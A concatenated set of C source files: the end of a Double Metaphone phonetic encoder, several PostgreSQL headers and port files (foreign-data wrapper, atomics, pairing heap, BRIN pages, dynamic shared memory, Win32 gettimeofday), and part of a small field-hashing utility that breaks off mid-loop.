/* -ges-,-gep-,-gel-, -gie- at beginning */
if ((current == 0)
&& ((GetAt(original, current + 1) == 'Y')
|| StringAt(original, (current + 1), 2, "ES", "EP",
"EB", "EL", "EY", "IB", "IL", "IN", "IE",
"EI", "ER", "")))
{
MetaphAdd(primary, "K");
MetaphAdd(secondary, "J");
current += 2;
break;
}
/* -ger-, -gy- */
if (
(StringAt(original, (current + 1), 2, "ER", "")
|| (GetAt(original, current + 1) == 'Y'))
&& !StringAt(original, 0, 6,
"DANGER", "RANGER", "MANGER", "")
&& !StringAt(original, (current - 1), 1, "E", "I", "")
&& !StringAt(original, (current - 1), 3, "RGY", "OGY",
""))
{
MetaphAdd(primary, "K");
MetaphAdd(secondary, "J");
current += 2;
break;
}
/* italian e.g, 'biaggi' */
if (StringAt(original, (current + 1), 1, "E", "I", "Y", "")
|| StringAt(original, (current - 1), 4,
"AGGI", "OGGI", ""))
{
/* obvious germanic */
if (
(StringAt(original, 0, 4, "VAN ", "VON ", "")
|| StringAt(original, 0, 3, "SCH", ""))
|| StringAt(original, (current + 1), 2, "ET", ""))
{
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
}
else
{
/* always soft if french ending */
if (StringAt
(original, (current + 1), 4, "IER ", ""))
{
MetaphAdd(primary, "J");
MetaphAdd(secondary, "J");
}
else
{
MetaphAdd(primary, "J");
MetaphAdd(secondary, "K");
}
}
current += 2;
break;
}
if (GetAt(original, current + 1) == 'G')
current += 2;
else
current += 1;
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
break;
case 'H':
/* only keep if first & before vowel or btw. 2 vowels */
if (((current == 0) || IsVowel(original, current - 1))
&& IsVowel(original, current + 1))
{
MetaphAdd(primary, "H");
MetaphAdd(secondary, "H");
current += 2;
}
else
/* also takes care of 'HH' */
current += 1;
break;
case 'J':
/* obvious spanish, 'jose', 'san jacinto' */
if (StringAt(original, current, 4, "JOSE", "")
|| StringAt(original, 0, 4, "SAN ", ""))
{
if (((current == 0)
&& (GetAt(original, current + 4) == ' '))
|| StringAt(original, 0, 4, "SAN ", ""))
{
MetaphAdd(primary, "H");
MetaphAdd(secondary, "H");
}
else
{
MetaphAdd(primary, "J");
MetaphAdd(secondary, "H");
}
current += 1;
break;
}
if ((current == 0)
&& !StringAt(original, current, 4, "JOSE", ""))
{
MetaphAdd(primary, "J"); /* Yankelovich/Jankelowicz */
MetaphAdd(secondary, "A");
}
else
{
/* spanish pron. of e.g. 'bajador' */
if (IsVowel(original, current - 1)
&& !SlavoGermanic(original)
&& ((GetAt(original, current + 1) == 'A')
|| (GetAt(original, current + 1) == 'O')))
{
MetaphAdd(primary, "J");
MetaphAdd(secondary, "H");
}
else
{
if (current == last)
{
MetaphAdd(primary, "J");
MetaphAdd(secondary, "");
}
else
{
if (!StringAt(original, (current + 1), 1, "L", "T",
"K", "S", "N", "M", "B", "Z", "")
&& !StringAt(original, (current - 1), 1,
"S", "K", "L", ""))
{
MetaphAdd(primary, "J");
MetaphAdd(secondary, "J");
}
}
}
}
if (GetAt(original, current + 1) == 'J') /* it could happen! */
current += 2;
else
current += 1;
break;
case 'K':
if (GetAt(original, current + 1) == 'K')
current += 2;
else
current += 1;
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
break;
case 'L':
if (GetAt(original, current + 1) == 'L')
{
/* spanish e.g. 'cabrillo', 'gallegos' */
if (((current == (length - 3))
&& StringAt(original, (current - 1), 4, "ILLO",
"ILLA", "ALLE", ""))
|| ((StringAt(original, (last - 1), 2, "AS", "OS", "")
|| StringAt(original, last, 1, "A", "O", ""))
&& StringAt(original, (current - 1), 4,
"ALLE", "")))
{
MetaphAdd(primary, "L");
MetaphAdd(secondary, "");
current += 2;
break;
}
current += 2;
}
else
current += 1;
MetaphAdd(primary, "L");
MetaphAdd(secondary, "L");
break;
case 'M':
if ((StringAt(original, (current - 1), 3, "UMB", "")
&& (((current + 1) == last)
|| StringAt(original, (current + 2), 2, "ER", "")))
/* 'dumb','thumb' */
|| (GetAt(original, current + 1) == 'M'))
current += 2;
else
current += 1;
MetaphAdd(primary, "M");
MetaphAdd(secondary, "M");
break;
case 'N':
if (GetAt(original, current + 1) == 'N')
current += 2;
else
current += 1;
MetaphAdd(primary, "N");
MetaphAdd(secondary, "N");
break;
case '\xd1': /* N with tilde */
current += 1;
MetaphAdd(primary, "N");
MetaphAdd(secondary, "N");
break;
case 'P':
if (GetAt(original, current + 1) == 'H')
{
MetaphAdd(primary, "F");
MetaphAdd(secondary, "F");
current += 2;
break;
}
/* also account for "campbell", "raspberry" */
if (StringAt(original, (current + 1), 1, "P", "B", ""))
current += 2;
else
current += 1;
MetaphAdd(primary, "P");
MetaphAdd(secondary, "P");
break;
case 'Q':
if (GetAt(original, current + 1) == 'Q')
current += 2;
else
current += 1;
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
break;
case 'R':
/* french e.g. 'rogier', but exclude 'hochmeier' */
if ((current == last)
&& !SlavoGermanic(original)
&& StringAt(original, (current - 2), 2, "IE", "")
&& !StringAt(original, (current - 4), 2, "ME", "MA", ""))
{
MetaphAdd(primary, "");
MetaphAdd(secondary, "R");
}
else
{
MetaphAdd(primary, "R");
MetaphAdd(secondary, "R");
}
if (GetAt(original, current + 1) == 'R')
current += 2;
else
current += 1;
break;
case 'S':
/* special cases 'island', 'isle', 'carlisle', 'carlysle' */
if (StringAt(original, (current - 1), 3, "ISL", "YSL", ""))
{
current += 1;
break;
}
/* special case 'sugar-' */
if ((current == 0)
&& StringAt(original, current, 5, "SUGAR", ""))
{
MetaphAdd(primary, "X");
MetaphAdd(secondary, "S");
current += 1;
break;
}
if (StringAt(original, current, 2, "SH", ""))
{
/* germanic */
if (StringAt
(original, (current + 1), 4, "HEIM", "HOEK", "HOLM",
"HOLZ", ""))
{
MetaphAdd(primary, "S");
MetaphAdd(secondary, "S");
}
else
{
MetaphAdd(primary, "X");
MetaphAdd(secondary, "X");
}
current += 2;
break;
}
/* italian & armenian */
if (StringAt(original, current, 3, "SIO", "SIA", "")
|| StringAt(original, current, 4, "SIAN", ""))
{
if (!SlavoGermanic(original))
{
MetaphAdd(primary, "S");
MetaphAdd(secondary, "X");
}
else
{
MetaphAdd(primary, "S");
MetaphAdd(secondary, "S");
}
current += 3;
break;
}
/*
* german & anglicisations, e.g. 'smith' match 'schmidt',
* 'snider' match 'schneider' also, -sz- in slavic language
* although in hungarian it is pronounced 's'
*/
if (((current == 0)
&& StringAt(original, (current + 1), 1,
"M", "N", "L", "W", ""))
|| StringAt(original, (current + 1), 1, "Z", ""))
{
MetaphAdd(primary, "S");
MetaphAdd(secondary, "X");
if (StringAt(original, (current + 1), 1, "Z", ""))
current += 2;
else
current += 1;
break;
}
if (StringAt(original, current, 2, "SC", ""))
{
/* Schlesinger's rule */
if (GetAt(original, current + 2) == 'H')
{
/* dutch origin, e.g. 'school', 'schooner' */
if (StringAt(original, (current + 3), 2,
"OO", "ER", "EN",
"UY", "ED", "EM", ""))
{
/* 'schermerhorn', 'schenker' */
if (StringAt(original, (current + 3), 2,
"ER", "EN", ""))
{
MetaphAdd(primary, "X");
MetaphAdd(secondary, "SK");
}
else
{
MetaphAdd(primary, "SK");
MetaphAdd(secondary, "SK");
}
current += 3;
break;
}
else
{
if ((current == 0) && !IsVowel(original, 3)
&& (GetAt(original, 3) != 'W'))
{
MetaphAdd(primary, "X");
MetaphAdd(secondary, "S");
}
else
{
MetaphAdd(primary, "X");
MetaphAdd(secondary, "X");
}
current += 3;
break;
}
}
if (StringAt(original, (current + 2), 1,
"I", "E", "Y", ""))
{
MetaphAdd(primary, "S");
MetaphAdd(secondary, "S");
current += 3;
break;
}
/* else */
MetaphAdd(primary, "SK");
MetaphAdd(secondary, "SK");
current += 3;
break;
}
/* french e.g. 'resnais', 'artois' */
if ((current == last)
&& StringAt(original, (current - 2), 2, "AI", "OI", ""))
{
MetaphAdd(primary, "");
MetaphAdd(secondary, "S");
}
else
{
MetaphAdd(primary, "S");
MetaphAdd(secondary, "S");
}
if (StringAt(original, (current + 1), 1, "S", "Z", ""))
current += 2;
else
current += 1;
break;
case 'T':
if (StringAt(original, current, 4, "TION", ""))
{
MetaphAdd(primary, "X");
MetaphAdd(secondary, "X");
current += 3;
break;
}
if (StringAt(original, current, 3, "TIA", "TCH", ""))
{
MetaphAdd(primary, "X");
MetaphAdd(secondary, "X");
current += 3;
break;
}
if (StringAt(original, current, 2, "TH", "")
|| StringAt(original, current, 3, "TTH", ""))
{
/* special case 'thomas', 'thames' or germanic */
if (StringAt(original, (current + 2), 2, "OM", "AM", "")
|| StringAt(original, 0, 4, "VAN ", "VON ", "")
|| StringAt(original, 0, 3, "SCH", ""))
{
MetaphAdd(primary, "T");
MetaphAdd(secondary, "T");
}
else
{
MetaphAdd(primary, "0");
MetaphAdd(secondary, "T");
}
current += 2;
break;
}
if (StringAt(original, (current + 1), 1, "T", "D", ""))
current += 2;
else
current += 1;
MetaphAdd(primary, "T");
MetaphAdd(secondary, "T");
break;
case 'V':
if (GetAt(original, current + 1) == 'V')
current += 2;
else
current += 1;
MetaphAdd(primary, "F");
MetaphAdd(secondary, "F");
break;
case 'W':
/* can also be in middle of word */
if (StringAt(original, current, 2, "WR", ""))
{
MetaphAdd(primary, "R");
MetaphAdd(secondary, "R");
current += 2;
break;
}
if ((current == 0)
&& (IsVowel(original, current + 1)
|| StringAt(original, current, 2, "WH", "")))
{
/* Wasserman should match Vasserman */
if (IsVowel(original, current + 1))
{
MetaphAdd(primary, "A");
MetaphAdd(secondary, "F");
}
else
{
/* need Uomo to match Womo */
MetaphAdd(primary, "A");
MetaphAdd(secondary, "A");
}
}
/* Arnow should match Arnoff */
if (((current == last) && IsVowel(original, current - 1))
|| StringAt(original, (current - 1), 5, "EWSKI", "EWSKY",
"OWSKI", "OWSKY", "")
|| StringAt(original, 0, 3, "SCH", ""))
{
MetaphAdd(primary, "");
MetaphAdd(secondary, "F");
current += 1;
break;
}
/* polish e.g. 'filipowicz' */
if (StringAt(original, current, 4, "WICZ", "WITZ", ""))
{
MetaphAdd(primary, "TS");
MetaphAdd(secondary, "FX");
current += 4;
break;
}
/* else skip it */
current += 1;
break;
case 'X':
/* french e.g. breaux */
if (!((current == last)
&& (StringAt(original, (current - 3), 3,
"IAU", "EAU", "")
|| StringAt(original, (current - 2), 2,
"AU", "OU", ""))))
{
MetaphAdd(primary, "KS");
MetaphAdd(secondary, "KS");
}
if (StringAt(original, (current + 1), 1, "C", "X", ""))
current += 2;
else
current += 1;
break;
case 'Z':
/* chinese pinyin e.g. 'zhao' */
if (GetAt(original, current + 1) == 'H')
{
MetaphAdd(primary, "J");
MetaphAdd(secondary, "J");
current += 2;
break;
}
else if (StringAt(original, (current + 1), 2,
"ZO", "ZI", "ZA", "")
|| (SlavoGermanic(original)
&& ((current > 0)
&& GetAt(original, current - 1) != 'T')))
{
MetaphAdd(primary, "S");
MetaphAdd(secondary, "TS");
}
else
{
MetaphAdd(primary, "S");
MetaphAdd(secondary, "S");
}
if (GetAt(original, current + 1) == 'Z')
current += 2;
else
current += 1;
break;
default:
current += 1;
}
/*
* printf("PRIMARY: %s\n", primary->str); printf("SECONDARY: %s\n",
* secondary->str);
*/
}
if (primary->length > 4)
SetAt(primary, 4, '\0');
if (secondary->length > 4)
SetAt(secondary, 4, '\0');
*codes = primary->str;
*++codes = secondary->str;
DestroyMetaString(original);
DestroyMetaString(primary);
DestroyMetaString(secondary);
}
#ifdef DMETAPHONE_MAIN
/* just for testing - not part of the perl code */
main(int argc, char **argv)
{
char *codes[2];
if (argc > 1)
{
DoubleMetaphone(argv[1], codes);
printf("%s|%s\n", codes[0], codes[1]);
}
}
#endif
|
smatsudajp/jpug-doc | contrib/postgres_fdw/postgres_fdw.h | <filename>contrib/postgres_fdw/postgres_fdw.h
/*-------------------------------------------------------------------------
*
* postgres_fdw.h
* Foreign-data wrapper for remote PostgreSQL servers
*
* Portions Copyright (c) 2012-2014, PostgreSQL Global Development Group
*
* IDENTIFICATION
* contrib/postgres_fdw/postgres_fdw.h
*
*-------------------------------------------------------------------------
*/
#ifndef POSTGRES_FDW_H
#define POSTGRES_FDW_H
#include "foreign/foreign.h"
#include "lib/stringinfo.h"
#include "nodes/relation.h"
#include "utils/relcache.h"
#include "libpq-fe.h"
/* in postgres_fdw.c */
extern int set_transmission_modes(void);
extern void reset_transmission_modes(int nestlevel);
/* in connection.c */
extern PGconn *GetConnection(ForeignServer *server, UserMapping *user,
bool will_prep_stmt);
extern void ReleaseConnection(PGconn *conn);
extern unsigned int GetCursorNumber(PGconn *conn);
extern unsigned int GetPrepStmtNumber(PGconn *conn);
extern void pgfdw_report_error(int elevel, PGresult *res, PGconn *conn,
bool clear, const char *sql);
/* in option.c */
extern int ExtractConnectionOptions(List *defelems,
const char **keywords,
const char **values);
/* in deparse.c */
extern void classifyConditions(PlannerInfo *root,
RelOptInfo *baserel,
List *input_conds,
List **remote_conds,
List **local_conds);
extern bool is_foreign_expr(PlannerInfo *root,
RelOptInfo *baserel,
Expr *expr);
extern void deparseSelectSql(StringInfo buf,
PlannerInfo *root,
RelOptInfo *baserel,
Bitmapset *attrs_used,
List **retrieved_attrs);
extern void appendWhereClause(StringInfo buf,
PlannerInfo *root,
RelOptInfo *baserel,
List *exprs,
bool is_first,
List **params);
extern void deparseInsertSql(StringInfo buf, PlannerInfo *root,
Index rtindex, Relation rel,
List *targetAttrs, List *returningList,
List **retrieved_attrs);
extern void deparseUpdateSql(StringInfo buf, PlannerInfo *root,
Index rtindex, Relation rel,
List *targetAttrs, List *returningList,
List **retrieved_attrs);
extern void deparseDeleteSql(StringInfo buf, PlannerInfo *root,
Index rtindex, Relation rel,
List *returningList,
List **retrieved_attrs);
extern void deparseAnalyzeSizeSql(StringInfo buf, Relation rel);
extern void deparseAnalyzeSql(StringInfo buf, Relation rel,
List **retrieved_attrs);
extern void deparseStringLiteral(StringInfo buf, const char *val);
#endif /* POSTGRES_FDW_H */
|
smatsudajp/jpug-doc | src/backend/port/atomics.c | /*-------------------------------------------------------------------------
*
* atomics.c
* Non-Inline parts of the atomics implementation
*
* Portions Copyright (c) 2013-2014, PostgreSQL Global Development Group
*
*
* IDENTIFICATION
* src/backend/port/atomics.c
*
*-------------------------------------------------------------------------
*/
#include "postgres.h"
/*
* We want the functions below to be inline; but if the compiler doesn't
* support that, fall back on providing them as regular functions. See
* STATIC_IF_INLINE in c.h.
*/
#define ATOMICS_INCLUDE_DEFINITIONS
#include "port/atomics.h"
#include "storage/spin.h"
#ifdef PG_HAVE_MEMORY_BARRIER_EMULATION
void
pg_spinlock_barrier(void)
{
S_LOCK(&dummy_spinlock);
S_UNLOCK(&dummy_spinlock);
}
#endif
#ifdef PG_HAVE_ATOMIC_FLAG_SIMULATION
void
pg_atomic_init_flag_impl(volatile pg_atomic_flag *ptr)
{
StaticAssertStmt(sizeof(ptr->sema) >= sizeof(slock_t),
"size mismatch of atomic_flag vs slock_t");
#ifndef HAVE_SPINLOCKS
/*
* NB: If we're using semaphore based TAS emulation, be careful to use a
* separate set of semaphores. Otherwise we'd get in trouble if a atomic
* var would be manipulated while spinlock is held.
*/
s_init_lock_sema((slock_t *) &ptr->sema, true);
#else
SpinLockInit((slock_t *) &ptr->sema);
#endif
}
bool
pg_atomic_test_set_flag_impl(volatile pg_atomic_flag *ptr)
{
return TAS((slock_t *) &ptr->sema);
}
void
pg_atomic_clear_flag_impl(volatile pg_atomic_flag *ptr)
{
S_UNLOCK((slock_t *) &ptr->sema);
}
#endif /* PG_HAVE_ATOMIC_FLAG_SIMULATION */
#ifdef PG_HAVE_ATOMIC_U32_SIMULATION
void
pg_atomic_init_u32_impl(volatile pg_atomic_uint32 *ptr, uint32 val_)
{
StaticAssertStmt(sizeof(ptr->sema) >= sizeof(slock_t),
"size mismatch of atomic_flag vs slock_t");
/*
* If we're using semaphore based atomic flags, be careful about nested
* usage of atomics while a spinlock is held.
*/
#ifndef HAVE_SPINLOCKS
s_init_lock_sema((slock_t *) &ptr->sema, true);
#else
SpinLockInit((slock_t *) &ptr->sema);
#endif
ptr->value = val_;
}
bool
pg_atomic_compare_exchange_u32_impl(volatile pg_atomic_uint32 *ptr,
uint32 *expected, uint32 newval)
{
bool ret;
/*
* Do atomic op under a spinlock. It might look like we could just skip
* the cmpxchg if the lock isn't available, but that'd just emulate a
* 'weak' compare and swap. I.e. one that allows spurious failures. Since
* several algorithms rely on a strong variant and that is efficiently
* implementable on most major architectures let's emulate it here as
* well.
*/
SpinLockAcquire((slock_t *) &ptr->sema);
/* perform compare/exchange logic*/
ret = ptr->value == *expected;
*expected = ptr->value;
if (ret)
ptr->value = newval;
/* and release lock */
SpinLockRelease((slock_t *) &ptr->sema);
return ret;
}
uint32
pg_atomic_fetch_add_u32_impl(volatile pg_atomic_uint32 *ptr, int32 add_)
{
uint32 oldval;
SpinLockAcquire((slock_t *) &ptr->sema);
oldval = ptr->value;
ptr->value += add_;
SpinLockRelease((slock_t *) &ptr->sema);
return oldval;
}
#endif /* PG_HAVE_ATOMIC_U32_SIMULATION */
|
smatsudajp/jpug-doc | src/include/lib/pairingheap.h | /*
* pairingheap.h
*
* A Pairing Heap implementation
*
* Portions Copyright (c) 2012-2014, PostgreSQL Global Development Group
*
* src/include/lib/pairingheap.h
*/
#ifndef PAIRINGHEAP_H
#define PAIRINGHEAP_H
/*
* This represents an element stored in the heap. Embed this in a larger
* struct containing the actual data you're storing.
*
* A node can have multiple children, which form a double-linked list.
* first_child points to the node's first child, and the subsequent children
* can be found by following the next_sibling pointers. The last child has
* next_sibling == NULL. The prev_or_parent pointer points to the node's
* previous sibling, or if the node is its parent's first child, to the
* parent.
*/
typedef struct pairingheap_node
{
struct pairingheap_node *first_child;
struct pairingheap_node *next_sibling;
struct pairingheap_node *prev_or_parent;
} pairingheap_node;
/*
* For a max-heap, the comparator must return <0 iff a < b, 0 iff a == b,
* and >0 iff a > b. For a min-heap, the conditions are reversed.
*/
typedef int (*pairingheap_comparator) (const pairingheap_node *a,
const pairingheap_node *b,
void *arg);
/*
* A pairing heap.
*
* You can use pairingheap_allocate() to create a new palloc'd heap, or embed
* this in a larger struct, set ph_compare and ph_arg directly and initialize
* ph_root to NULL.
*/
typedef struct pairingheap
{
pairingheap_comparator ph_compare; /* comparison function */
void *ph_arg; /* opaque argument to ph_compare */
pairingheap_node *ph_root; /* current root of the heap */
} pairingheap;
extern pairingheap *pairingheap_allocate(pairingheap_comparator compare,
void *arg);
extern void pairingheap_free(pairingheap *heap);
extern void pairingheap_add(pairingheap *heap, pairingheap_node *node);
extern pairingheap_node *pairingheap_first(pairingheap *heap);
extern pairingheap_node *pairingheap_remove_first(pairingheap *heap);
extern void pairingheap_remove(pairingheap *heap, pairingheap_node *node);
/* Resets the heap to be empty. */
#define pairingheap_reset(h) ((h)->ph_root = NULL)
/* Is the heap empty? */
#define pairingheap_is_empty(h) ((h)->ph_root == NULL)
/* Is there exactly one node in the heap? */
#define pairingheap_is_singular(h) \
((h)->ph_root && (h)->ph_root->first_child == NULL)
#endif /* PAIRINGHEAP_H */
|
smatsudajp/jpug-doc | src/include/access/brin_page.h | <reponame>smatsudajp/jpug-doc
/*
* brin_page.h
* Prototypes and definitions for BRIN page layouts
*
* Portions Copyright (c) 1996-2014, PostgreSQL Global Development Group
* Portions Copyright (c) 1994, Regents of the University of California
*
* IDENTIFICATION
* src/include/access/brin_page.h
*
* NOTES
*
* These structs should really be private to specific BRIN files, but it's
* useful to have them here so that they can be used by pageinspect and similar
* tools.
*/
#ifndef BRIN_PAGE_H
#define BRIN_PAGE_H
#include "storage/block.h"
#include "storage/itemptr.h"
/* special space on all BRIN pages stores a "type" identifier */
#define BRIN_PAGETYPE_META 0xF091
#define BRIN_PAGETYPE_REVMAP 0xF092
#define BRIN_PAGETYPE_REGULAR 0xF093
#define BRIN_PAGE_TYPE(page) \
(((BrinSpecialSpace *) PageGetSpecialPointer(page))->type)
#define BRIN_IS_REVMAP_PAGE(page) (BRIN_PAGE_TYPE(page) == BRIN_PAGETYPE_REVMAP)
#define BRIN_IS_REGULAR_PAGE(page) (BRIN_PAGE_TYPE(page) == BRIN_PAGETYPE_REGULAR)
/* flags for BrinSpecialSpace */
#define BRIN_EVACUATE_PAGE (1 << 0)
typedef struct BrinSpecialSpace
{
uint16 flags;
uint16 type;
} BrinSpecialSpace;
/* Metapage definitions */
typedef struct BrinMetaPageData
{
uint32 brinMagic;
uint32 brinVersion;
BlockNumber pagesPerRange;
BlockNumber lastRevmapPage;
} BrinMetaPageData;
#define BRIN_CURRENT_VERSION 1
#define BRIN_META_MAGIC 0xA8109CFA
#define BRIN_METAPAGE_BLKNO 0
/* Definitions for revmap pages */
typedef struct RevmapContents
{
ItemPointerData rm_tids[1]; /* really REVMAP_PAGE_MAXITEMS */
} RevmapContents;
#define REVMAP_CONTENT_SIZE \
(BLCKSZ - MAXALIGN(SizeOfPageHeaderData) - \
offsetof(RevmapContents, rm_tids) - \
MAXALIGN(sizeof(BrinSpecialSpace)))
/* max num of items in the array */
#define REVMAP_PAGE_MAXITEMS \
(REVMAP_CONTENT_SIZE / sizeof(ItemPointerData))
#endif /* BRIN_PAGE_H */
|
smatsudajp/jpug-doc | src/include/storage/dsm.h | <reponame>smatsudajp/jpug-doc<gh_stars>0
/*-------------------------------------------------------------------------
*
* dsm.h
* manage dynamic shared memory segments
*
* Portions Copyright (c) 1996-2014, PostgreSQL Global Development Group
* Portions Copyright (c) 1994, Regents of the University of California
*
* src/include/storage/dsm.h
*
*-------------------------------------------------------------------------
*/
#ifndef DSM_H
#define DSM_H
#include "storage/dsm_impl.h"
typedef struct dsm_segment dsm_segment;
/* Startup and shutdown functions. */
struct PGShmemHeader; /* avoid including pg_shmem.h */
extern void dsm_cleanup_using_control_segment(dsm_handle old_control_handle);
extern void dsm_postmaster_startup(struct PGShmemHeader *);
extern void dsm_backend_shutdown(void);
extern void dsm_detach_all(void);
#ifdef EXEC_BACKEND
extern void dsm_set_control_handle(dsm_handle h);
#endif
/* Functions that create, update, or remove mappings. */
extern dsm_segment *dsm_create(Size size);
extern dsm_segment *dsm_attach(dsm_handle h);
extern void *dsm_resize(dsm_segment *seg, Size size);
extern void *dsm_remap(dsm_segment *seg);
extern void dsm_detach(dsm_segment *seg);
/* Resource management functions. */
extern void dsm_pin_mapping(dsm_segment *seg);
extern void dsm_unpin_mapping(dsm_segment *seg);
extern void dsm_pin_segment(dsm_segment *seg);
extern dsm_segment *dsm_find_mapping(dsm_handle h);
/* Informational functions. */
extern void *dsm_segment_address(dsm_segment *seg);
extern Size dsm_segment_map_length(dsm_segment *seg);
extern dsm_handle dsm_segment_handle(dsm_segment *seg);
/* Cleanup hooks. */
typedef void (*on_dsm_detach_callback) (dsm_segment *, Datum arg);
extern void on_dsm_detach(dsm_segment *seg,
on_dsm_detach_callback function, Datum arg);
extern void cancel_on_dsm_detach(dsm_segment *seg,
on_dsm_detach_callback function, Datum arg);
extern void reset_on_dsm_detach(void);
#endif /* DSM_H */
|
smatsudajp/jpug-doc | src/port/gettimeofday.c | /*
* gettimeofday.c
* Win32 gettimeofday() replacement
*
* src/port/gettimeofday.c
*
* Copyright (c) 2003 SRA, Inc.
* Copyright (c) 2003 SKC, Inc.
*
* Permission to use, copy, modify, and distribute this software and
* its documentation for any purpose, without fee, and without a
* written agreement is hereby granted, provided that the above
* copyright notice and this paragraph and the following two
* paragraphs appear in all copies.
*
* IN NO EVENT SHALL THE AUTHOR BE LIABLE TO ANY PARTY FOR DIRECT,
* INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING
* LOST PROFITS, ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS
* DOCUMENTATION, EVEN IF THE UNIVERSITY OF CALIFORNIA HAS BEEN ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*
* THE AUTHOR SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS ON AN "AS
* IS" BASIS, AND THE AUTHOR HAS NO OBLIGATIONS TO PROVIDE MAINTENANCE,
* SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
*/
#include "c.h"
#include <sys/time.h>
/* FILETIME of Jan 1 1970 00:00:00, the PostgreSQL epoch */
static const unsigned __int64 epoch = UINT64CONST(116444736000000000);
/*
* FILETIME represents the number of 100-nanosecond intervals since
* January 1, 1601 (UTC).
*/
#define FILETIME_UNITS_PER_SEC 10000000L
#define FILETIME_UNITS_PER_USEC 10
/*
* Both GetSystemTimeAsFileTime and GetSystemTimePreciseAsFileTime share a
* signature, so we can just store a pointer to whichever we find. This
* is the pointer's type.
*/
typedef VOID (WINAPI *PgGetSystemTimeFn)(LPFILETIME);
/* Storage for the function we pick at runtime */
static PgGetSystemTimeFn pg_get_system_time = NULL;
/*
* During backend startup, determine if GetSystemTimePreciseAsFileTime is
* available and use it; if not, fall back to GetSystemTimeAsFileTime.
*/
void
init_win32_gettimeofday(void)
{
/*
* Because it's guaranteed that kernel32.dll will be linked into our
* address space already, we don't need to LoadLibrary it and worry about
* closing it afterwards, so we're not using Pg's dlopen/dlsym() wrapper.
*
* We'll just look up the address of GetSystemTimePreciseAsFileTime if
* present.
*
* While we could look up the Windows version and skip this on Windows
* versions below Windows 8 / Windows Server 2012 there isn't much point,
* and determining the windows version is its self somewhat Windows version
* and development SDK specific...
*/
pg_get_system_time = (PgGetSystemTimeFn) GetProcAddress(
GetModuleHandle(TEXT("kernel32.dll")),
"GetSystemTimePreciseAsFileTime");
if (pg_get_system_time == NULL)
{
/*
* The expected error from GetLastError() is ERROR_PROC_NOT_FOUND, if
* the function isn't present. No other error should occur.
*
* It's too early in startup to elog(...) if we get some unexpected
* error, and not serious enough to warrant a fprintf to stderr about
* it or save the error and report it later. So silently fall back to
* GetSystemTimeAsFileTime irrespective of why the failure occurred.
*/
pg_get_system_time = &GetSystemTimeAsFileTime;
}
}
/*
* timezone information is stored outside the kernel so tzp isn't used anymore.
*
* Note: this function is not for Win32 high precision timing purposes. See
* elapsed_time().
*/
int
gettimeofday(struct timeval * tp, struct timezone * tzp)
{
FILETIME file_time;
ULARGE_INTEGER ularge;
(*pg_get_system_time)(&file_time);
ularge.LowPart = file_time.dwLowDateTime;
ularge.HighPart = file_time.dwHighDateTime;
tp->tv_sec = (long) ((ularge.QuadPart - epoch) / FILETIME_UNITS_PER_SEC);
tp->tv_usec = (long) (((ularge.QuadPart - epoch) % FILETIME_UNITS_PER_SEC)
/ FILETIME_UNITS_PER_USEC);
return 0;
}
|
arkamar/cuthash | cuthash.c | <gh_stars>0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/evp.h>
#include "arg.h"
#define MIN(x, y) ((x) < (y)) ? (x) : (y)
#define MAX(x, y) ((x) > (y)) ? (x) : (y)
struct range {
size_t min, max;
struct range * next;
};
char * argv0;
static char * separators = "\t";
static struct range * list = NULL;
static
void
usage() {
fprintf(stderr,
"Usage: %s [-s separators] [-d digest_algorithm] list\n", argv0);
exit(1);
}
static
void
insert(struct range * r) {
struct range * l, *p, *t;
for (p = NULL, l = list; l; p = l, l = l->next) {
if (r->max && r->max + 1 < l->min) {
r->next = l;
break;
} else if (!l->max || r->min < l->max + 2) {
l->min = MIN(r->min, l->min);
for (p = l, t = l->next; t; p = t, t = t->next)
if (r->max && r->max + 1 < t->min)
break;
l->max = (p->max && r->max) ? MAX(p->max, r->max) : 0;
l->next = t;
return;
}
}
if (p)
p->next = r;
else
list = r;
}
static
void
parselist(char * str) {
char * s;
size_t n = 1;
struct range * r;
if (!*str) {
fprintf(stderr, "empty list\n");
exit(1);
}
for (s = str; *s; s++)
if (*s == ',')
n++;
r = malloc(n * sizeof(struct range));
if (!r) {
perror("Cannot allocate memory");
exit(1);
}
for (s = str; n; n--, s++) {
r->min = (*s == '-') ? 1 : strtoul(s, &s, 10);
r->max = (*s == '-') ? strtoul(s + 1, &s, 10) : r->min;
r->next = NULL;
if (!r->min || (r->max && r->max < r->min) || (*s && *s != ',')) {
fprintf(stderr, "bad list value\n");
exit(1);
}
insert(r++);
}
}
int
main(int argc, char * argv[]) {
char * line = NULL;
char * digest_algorithm = NULL;
char * tok;
size_t cap = 0;
ssize_t len;
int i, c;
unsigned char hash[EVP_MAX_MD_SIZE];
unsigned int hash_len;
EVP_MD_CTX * ctx;
const EVP_MD * md = EVP_ripemd160();
ARGBEGIN {
case 's':
separators = EARGF(usage());
if (!*separators) {
fprintf(stderr, "Empty separator is forbiden\n");
exit(1);
}
break;
case 'd':
digest_algorithm = EARGF(usage());
break;
default:
usage();
} ARGEND
if (argc != 1)
usage();
parselist(*argv);
if (digest_algorithm) {
OPENSSL_init_crypto(OPENSSL_INIT_ADD_ALL_DIGESTS, NULL);
md = EVP_get_digestbyname(digest_algorithm);
if (!md) {
fprintf(stderr, "Unknown message digest '%s'\n", digest_algorithm);
exit(1);
}
}
ctx = EVP_MD_CTX_create();
while ((len = getline(&line, &cap, stdin)) > 0) {
EVP_DigestInit(ctx, md);
struct range * r = list;
tok = line + strspn(line, separators);
for (c = 1; *tok; c++) {
size_t tok_len = 0;
tok_len = strcspn(tok, separators);
if (!r)
break;
if (c >= r->min && c <= r->max) {
#ifdef DEBUG
fprintf(stderr, "W[%02d,%03ld]<", c, tok_len);
fwrite(tok, 1, tok_len, stderr);
fputs(">\n", stderr);
#endif
EVP_DigestUpdate(ctx, tok, tok_len);
if (c == r->max)
r = r->next;
}
tok += tok_len;
